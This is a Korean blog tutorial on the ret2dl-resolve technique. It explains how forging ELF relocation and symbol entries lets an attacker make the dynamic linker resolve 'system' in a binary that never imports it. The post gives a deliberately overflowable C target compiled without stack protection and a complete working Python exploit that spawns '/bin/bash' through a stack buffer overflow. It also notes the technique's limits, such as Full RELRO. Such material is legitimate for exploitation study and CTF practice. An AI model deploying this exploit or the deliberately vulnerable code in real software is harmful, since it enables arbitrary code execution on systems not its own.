이 글에서는 로더의 소스가 아닌 내부에서 참조하는 정보의 흐름만 간략하게 다루기 때문에 아래의 두 글을 먼저 읽어보는것도 좋을거라고 생각한다.
http://pwn3r.tistory.com/entry/Docs-Reusing-Dynamic-Linker-for-Exploitation - DYNAMIC 섹션 덮어쓰기 및 동적 링커 재사용으로 함수 주소 불러오기
https://web.archive.org/web/20081215162517/http://x82.inetcop.org/h0me/papers/FC_exploit/relocation.txt - 위 글에서 언급한 동적 링커 내부 구조
위 두 글에 나오는 동적 링커를 사용한 익스플로잇 방법을 소개할 것이다.
일반적으로 Return-to-Library는 GOT/PLT에 로드된 함수들을 대상으로 PLT로 점프해서 하곤 한다. 또는 ASLR이 아닌 경우 함수 주소를 직접 구해서 점프를 시킨다. 또는 ASLR일 경우 베이스를 구한 후 해당 라이브러리의 함수 상대주소를 구한 후 더해서 점프를 직접 시킨다.
elf내에 없어도 내가 원하는 라이브러리 내 함수로 점프를 시도할 순 있다. 라이브러리의 버전을 몰라도 말이다.
상대주소를 구해서 익스플로잇을 하는 방법은 GOT 내 있는 기준 함수를 기준으로 베이스를 구한다. 그 기준 함수의 상대적인 주소나 내가 호출을 원하는 함수의 상대주소가 다를 수도 있다.
일단 만약 어떤 ELF 실행파일이 동적 링크가 되어있으면, file 명령어로 알아봤을때 아래 부분이 뜬다.(빨간 부분)
$ file exp
exp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x8a45d190c64199ebdc6bfd39e52d5d0eec3306e8, not stripped
#include <stdio.h> #include <memory.h> #include <stdlib.h> #include <string.h> int main() { char *rbuf = (char*) malloc(1024); int len = 0; char buf[256]; len = read(0, buf, 1024); memcpy(rbuf, buf, len); return 0; } |
공격 대상 파일이다.
이 파일은 아래의 옵션으로 컴파일했다. (우분투 13.10, glibc 2.17)
gcc exp.c -o exp -m32 -fno-stack-protector -fno-pie |
pie, ssp를 해제했다. bof를 간단하게 하기 위해서이다.
위의 소스를 잠깐 훑어보면 저기 쓰인 함수는 3개이다: read, malloc, memcpy.
나는 여기서 system함수를 한번 찾아내보려고 한다.
file 출력물에 보면 dynamic linked 부분이 동적 링크가 되었다고 알려주는 부분이다.
이런 류의 바이너리(동적 링크 바이너리, 일반적으로 이렇게들 컴파일한다 - 파일 사이즈가 작기 때문이다, 또한 여러 프로그램이 같은 라이브러리를 썼을 때 메모리를 절약할 수 있다)를 잘 보면 맨 처음에 모든 함수 주소를 로딩하는 것이 아니다. 함수가 맨 처음 실행되면 그 함수의 라이브러리 내 주소를 알아와 그 주소를 로딩하는 함수와 바꿔치기한다. 물론 그 함수에만 해당한다.
이 기능의 구현을 위해서 각 함수의 plt에는 여분의 명령어를 위한 공간을 마련해둔다. 아래와 같을 것이다.
endp 밑의 3 줄이 여분의 명령어를 위한 공간이다. 이 부분은 실행 시 아래와 같이 바뀌게 된다.
보다시피 어떤 값을 push하고 점프를 한다. 이 값은 함수마다 다르고, 바이너리마다 값도 다르다.
일단 push 0에 대해 설명하기 전에, 위의 jmp에 대한 설명을 한다.
위의 함수 자체는 "plt"라는 함수이다. 라이브러리가 로딩되면서 저기서 점프하는 주소인 0x804A00C에는 실제 함수의 주소(맨 처음에는 위에서 언급한 대로 로더 주소가 담긴다)가 담길 것이다.
0x804A00C로 가보자. 이 부분은 GOT라는 구역의 일부분이다.
[태그 4바이트] [주소 4바이트] [태그] [주소] [태그] [주소] ... |
이 실행 파일에서는 아래같이 나온다.
Dynamic section at offset 0xf14 contains 24 entries:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000c (INIT) 0x80482f4
0x0000000d (FINI) 0x8048574
0x00000019 (INIT_ARRAY) 0x8049f08
0x0000001b (INIT_ARRAYSZ) 4 (bytes)
0x0000001a (FINI_ARRAY) 0x8049f0c
0x0000001c (FINI_ARRAYSZ) 4 (bytes)
0x6ffffef5 (GNU_HASH) 0x80481ac
0x00000005 (STRTAB) 0x804823c
0x00000006 (SYMTAB) 0x80481cc
0x0000000a (STRSZ) 88 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x804a000
0x00000002 (PLTRELSZ) 40 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x80482cc
0x00000011 (REL) 0x80482c4
0x00000012 (RELSZ) 8 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x6ffffffe (VERNEED) 0x80482a4
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x8048294
0x00000000 (NULL) 0x0
이런식으로 이름을 붙이고 실행 시 어떤 배열에 저 태그대로 일부 정보(STRTAB, SYMTAB)를 배열로 저장한다.
다시 말하지만 위의 명령어들에서 push 0이라는 부분이 보인다. 여기서 0은 reloc_offset이라는 값이다.
로더 함수는 이 주소로 나중에 로딩한 주소를 기록한다. 그 옆의 숫자의 의미는 무엇일까?
((Elf32_Sym*)SYMTAB)[번호]
추가1)VERSYM이 elf내에 정의되어있으면 약간 골치아파진다.. (근데 대부분 정의되어있는게 문제다)VERSYM[2 * 그 번호] 이런식으로 참조하는데 이게 특정 값 이상(10000정도 된다, 2바이트 정수, 리틀엔디안)이면 AV가 뜨고 안그러면 그냥 정상작동 한다. -> 결론. VERSYM으로부터 2*(그 번호) 를 더한 주소에 av가 뜨지 않으면서 특정 값(10000정도 된다) 이하의 값을 가지는 값이어야 된다. 만약 안그런 상황이면 GOT+8로부터 20바이트를 복사하고 그 뒤에서 +24, +20에 SYMTAB, STRTAB의 elf 내 주소를 넣어주면 된다. cpy류 함수가 있어야된다.
import struct
import sys
buffer = 0x8049680 # bss
target = 0x8049648 # read
STRTAB = 0x80481fc
JMPREL = 0x8048278
DYNAMIC_LINKER = 0x80482c0
SYMTAB = 0x80481ac
read = 0x80482f0
pppr = 0x8048465
p = lambda x: struct.pack("<L", x)
ph = lambda x: struct.pack("<I", x)
pb = lambda x: struct.pack("<B", x)
log = lambda x: sys.stderr.write(x+'\n')
padding = 3 # if not works, adjust this value (for VERSYM value)
# Elf32_Rel rel
rel = p(target)
rel += p(((buffer - SYMTAB + 18 + 16*padding)/16<<8) + 7) # 16 multiplier
# Elf32_Sym sym
sym = p(buffer - STRTAB + 16 * padding + 30) #name offset
sym += p(0x06) # symbol value (st_value)
sym += p(0x7) # symbol size (st_size)
sym += pb(0xFF) # symbol info (st_info)
sym += pb(0xF0) # symbol other - last 2 bits must be 0
sym += ph(0xFFFF) # symbol index
sym += "system\x00" #function name
payload = ""
payload += rel
payload += "A"*(12 + 16 * padding-len(payload)) # dummy
payload += sym
cmd_area = buffer + len(payload)
payload += '/bin/bash\x00'
stage0 = "A"*28
stage0 += p(0xDEADBEEF) # fake ebp
stage0 += p(DYNAMIC_LINKER) # _loader
stage0 += p(buffer - JMPREL) # index here
stage0 += p(0)
stage0 += p(cmd_area)
print stage0.ljust(127,"\x00")
print payload
(python exp2.py; cat)|./exp
[1] http://pwn3r.tistory.com/entry/Docs-Reusing-Dynamic-Linker-for-Exploitation
[2] http://www.phrack.org/issues.html?issue=58&id=4
티스토리 설정보다는 에버노트가 보기 좋아서 pdf로 변환 후 올린다.
간단하게 설명을 하자면 실행 파일 내 plt나 got에 내가 원하는 함수가 없어도 로딩된 라이브러리에 내가 원하는 함수도 있다면 함수명으로 내가 원하는 함수를 불러와서 호출할 수 있다.
Return-To-Library 방식을 약간 응용한거라 볼 수 있다.
한계:
Full-RELRO에서는 안된다.
내가 알 수 있는 정적/동적인 주소에 내가 뭘 기록할 수 있어야 한다.
LD_BIND_NOW=1 이라는 환경변수가 설정된 상태에서 실행이 될 때도 안된다.
본문에서 언급한 링크:
http://www.phrack.org/issues.html?issue=58&id=4
- 이미 누가 해놓은 결과물.. 삽질 후 검색해보니 나와서 멘붕했어요.
사실 안해놨으면 더 의아했겠죠..
http://pwn3r.tistory.com/entry/Docs-Reusing-Dynamic-Linker-for-Exploitation
- 권혁님이 해놓으신 비슷한 문서
일단 제가 해본건 DYNAMIC섹션에 기록이 아닌 임의 영역에 기록하는 방식인데, 이걸 보고 떠올렸어요.
여기도 언급되어있듯이 최신 리눅스 버전에는 DYNAMIC섹션에 쓰기가 불가능해요. 그게 한계같아요.
주소를 알아야 된다는게 단점.. 둘다 ㅠㅠ
- 이게 없었으면 귀찮다고 때려쳤을지도 모르겠어요.. 권혁님이 문서에서 언급하셨는데, 여기에는 동적 링커에서 사용하는 실행 중 로딩하는 함수의 내부 흐름에 대해 엄청 잘 나와있어요.
원본 링크는 접속이 안되서 web.archive.org 링크로 대체합니다. 찾으니까 나와서 다행이네요..